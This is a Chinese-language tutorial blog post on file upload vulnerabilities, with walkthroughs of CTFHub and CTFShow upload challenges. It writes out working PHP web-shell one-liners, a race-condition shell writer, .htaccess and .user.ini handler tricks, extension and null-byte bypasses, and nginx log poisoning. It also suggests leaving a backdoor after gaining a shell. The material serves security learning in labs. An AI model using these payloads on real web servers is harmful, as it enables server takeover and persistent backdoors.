文件上传漏洞,看这一篇文章就够了

文件上传漏洞

文件上传漏洞介绍

就是指用户上传了一个可执行的脚本文件,并通过脚本文件获得了执行服务器端命令的能力,出问题的地方在于怎么处理、解释文件,那么攻击方就要思考如何绕过检测和过滤

文件上传漏洞的危害

  1. 上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行
  2. 上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接 自劢运行;
  3. 上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);
  4. 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;
  5. 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。

文件上传漏洞需要满足的条件

  1. 上传的后门代码要与服务器环境一致:比如说对方服务器运行的PHP环境,你不能上传一个JAVA的后门代码
  2. 执行权限:上传文件的目录可以被脚本语言解析执行,如果你上传的目录没有执行权限也不行
  3. 一般文件上传后会返回一个地址,如果无法链接到也不能构成文件上传漏洞

文件检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,web服务器接收到请求后并同意后,用户与web 服务器将建立连接,并传输data

image-20240628155301903

一般来说检测的内容有以下几个方面:

  1. 客户端JS检测(通常检测文件扩展名)
  2. 服务端MIME类型检测(检测Content-Type内容)
  3. 服务端目录路径检测(检测path参数相关内容)
  4. 服务端文件扩展名检测(检测跟文件extension相关的内容)
  5. 服务端文件内容检测(通常检测内容是否合法或含有恶意代码)

image-20240628155422698

案例分析

CTFHub-文件上传
无验证,写一句话木马,再用蚁剑连接

image-20240628195740175

image-20240628195805275

image-20240628195846890

简单查一下路径

image-20240628200022613

前端验证,我们查看源代码,JS根据后缀白名单过滤

image-20240628200119248

我们把JS代码改一下再在控制台回车一下,这道题目只是前端验证

image-20240628201624548

image-20240628201805384

image-20240628201821870

接下来就和上一题一样蚁剑连接找敏感文件就行了

image-20240628201921214

.htaccess(apache独有的配置文件)

有个前提条件是http.conf文件中设置了 AllowOverried All ,才能使用.htaccess文件

通常情况下有两种方法

  1. .htaccess中写入

    <FilesMatch "a.jpg">
    	SetHandler application/x-httpd-php
    </FilesMatch>
    

    然后再上传a.jpg的木马, 这样a.jpg就可解析为php文件
    最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

  2. 通过更改HTTP请求把.png类型文件当php文件执行

AddType application/x-httpd-php .png  

image-20240628203157940

我们并不知道目录下有没有.htaccess文件,我们用第一种方法写入后直接试试上传.htaccess文件,都不用改后缀,那么事情就简单起来了

image-20240628204854690

image-20240628205321169

上传带有php代码的a.jpg文件

image-20240628205741922

image-20240628205720921

image-20240628205810058

MIME类型

在HTTP请求包中

Content-Type:image/png || image/jpeg

image-20240628211707143

我们先抓个包更改文件类型再上传试试

image-20240628212313419

换汤不换药

image-20240628212450691

image-20240628212543021

文件头判断

每个不同类型的文件都有文件头

例如png类型文件文件头为:89504E47,转换为ASCII码是•PNG

image-20240629113558025

上传一个PNG图片抓个包看看,可以看到文件头是‰PNG

Content-Disposition: form-data; name="file"; filename="202406261432467.png"
Content-Type: image/png

‰PNG
Ìÿ§ÚÛ*f:»

image-20240629114716829

我们先只改文件头试试能不能成功上传

image-20240629114855877

提示文件类型不正确,那么我们再改一下文件类型

image-20240629114913144

image-20240629120803501

image-20240629123036518

后面就一样蚁剑连接查flag

黑名单-过滤不严

通过文件后缀判断文件类型

  1. 黑名单:检测上传文件是不是在黑名单里面,在就G,不在就通过
  2. 白名单:检测上传文件是不是在白名单,在就通过,不在就G

image-20240629141336600

str_ireplace()函数替换字符串中的一些字符(不区分大小写)

无递归(只检测一次,没循环)

phphp(因为代码中是把匹配到的黑名单替换为空)

image-20240629141442750

windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写

image-20240629141542886

系统大小写敏感属性

str_ireplace()函数替换字符串中的一些字符(不区分大小写)

image-20240629141625766

绕过黑名单过滤还有一种思路利用不同的后缀,可以配合fuzz模糊测试,利用BP中intruder模块

image-20240718164042449

image-20240718164103063

image-20240718164159335

image-20240718164252141

低版本GET-%00截断

​ 其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)
chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
​ 那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
这种情况常出现在ASP程序中,PHP 版本<5.3.4时也会有这个情况,JSP中也会出现。

这种方式适用于:

  • magic_quotes_gpc = 0ff
  • PHP 版本小于 5.3.4

自动解码一次,/var/www/html/upload/x.php%00

url 上面 %00

post 下面 %00 二次解码

image-20240629141815045

低版本00绕过

image-20240629143019836

image-20240629142926484

二次解码

image-20240718160808221

image-20240718160753882

image-20240718160843407

image-20240718170324849

无递归的黑名单绕过

文件名改为6.pphphp,过滤掉php后就是6.php

image-20240629144051765

image-20240629144101465

image-20240629144154594

还有一种情况先上传恶意代码到服务器,会短暂存在在服务器,服务器会检测文件类型然后删除

先上传shell.php写入

<?php fputs(fopen('nosese.php','w'),'<?=eval($_POST[x]);?>');?>

使用BP的intruder模块重复访问shell.php,这样就能一直写文件nosese.php

然后再开一个intruder模块,一直执行$_POST[x],一直执行这个nosese.php的原因在于在创建和删除nosese.php的过程中间隔时间很短,执行nosese.php如果间隔时间比较长就可能不能执行成功(访问时正好删除了,但还未创建成功)

二次渲染

利用工具010 Editor 中Tools/compare files,对比图片,可以看到gif文件渲染前后区别不大

image-20240719100037956

Apache HTTPD 换行解析漏洞(CVE-2017-15715) 漏洞复现

Apache在2.4.0-2.4.29版本中存在一个解析漏洞。程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单。

如果上传文件的php程序是设置的白名单,那么这个漏洞将无法利用。

image-20240722112232869

image-20240722112312496Nginx文件解析漏洞
CTFShow案例
web151

image-20240704140251724

可以看到前台的验证逻辑不严谨,把php文件改个名字就可以上传了

image-20240704140843856

蚁剑连接一下就OK了

image-20240704140938528

web152

查看网址源码看看,可以看到一个upload.php,进入查看一下

image-20240704142412007

image-20240704142512246

这是一个unicode编码,解码看一下

image-20240704142630360

抓个包看看,如果上传的是php类型文件,文件类型不合规

{“code”:2,“msg”:“\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4”}

image-20240704142954895

那么上传png类型的文件

{“code”:0,“msg”:“upload/2.png”}

image-20240704142942387

这样我们就明白了是根据code值判断文件类型是否合规,但是很明显这里不好通过更改code值来绕过,那就把文件类型改改试试

image-20240704143658533

可以看到这里文件上传成功

后面就和上面一样

image-20240704145043798

web153

试了一下这道题更改文件类型或者更改文件头都不能成功上传,那么应该是filename字段过滤了php后缀

这道题的思路是非php文件后缀解析按照php进行解析

文件后缀校验解决思路:引入 user.ini 文件

根据网上查到的信息,user.ini文件中有个字段auto_prepend_file它可以把指定文件文件加载到网站的首页,是根目录的首页。

我们可以得到的信息:通过这个字段可以把文件与你上传的目录首页文件一起加载,被php脚本执行解析。

由此我们得出结论,user.ini文件使用的限制条件:

  1. 上传.user.ini的目录必须有设置默认首页
  2. php版本必须要在5以上

使用user.ini文件的好处:

  1. 可以突破文件后缀的检测
  2. 可以突破图片目录不给解析执行权限的限制

上传一个PNG文件把文件名改为user.ini,写入auto_prepend_file = shell.png,把指定shell.png加载网站的首页

image-20240718104033329

在shell.png中写入一句话

image-20240718105559052

image-20240718105618286

image-20240718105851083

image-20240718105905547

web154

按照上一题的思路试了试,这里应该过滤了php关键字

image-20240718110249093

image-20240718110232444

绕过方法:

<? echo '123';?>    //前提是开启配置参数short_open_tags=on
<?=(表达式);?>        //不需要开启参数设置
<% echo '123';%>    //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; </script>//不需要修改参数开关

image-20240718111220892

后面同上题

web155

和上一题一样,也是绕过

web156

和154题类似,不过这道题过滤了[]需要改为{},需要注意的是这是一个错误的写法

<?=eval($_POST{x}); ?>

image-20240718144521459

web157

试了下上一题的思路上传一直失败,应该是增加了过滤,换一个思路,在shell.png中插入终端命令,通过.user.ini的配置shell.png会被加载到网站首页执行终端命令

image-20240718152744657

web158

和上一题一样的思路,就不赘述

web159

image-20240718161633550

这里应该是过滤了()这里用**`**号进行执行

image-20240718164907470

web160

试了一下,这道题应该也过滤了空格

image-20240718164553132

image-20240718164626756

Nginx一般会记录日志,日志会记录访问者的UA头,所以我们可以把后门代码写到UA头里面,然后利用.user.ini来包含日志文件,Nginx默认日志位置/var/log/nginx

首先上传文件.user.ini,在上传图片

图片中的内容

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

image-20240718165831633

欢迎大家关注我的公众号,获取详细的网安学习成长路线图

c908c531a1c81e2680e0e7361453052

参考文章

[1] https://blog.csdn.net/qq_61553520/article/details/130218788

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值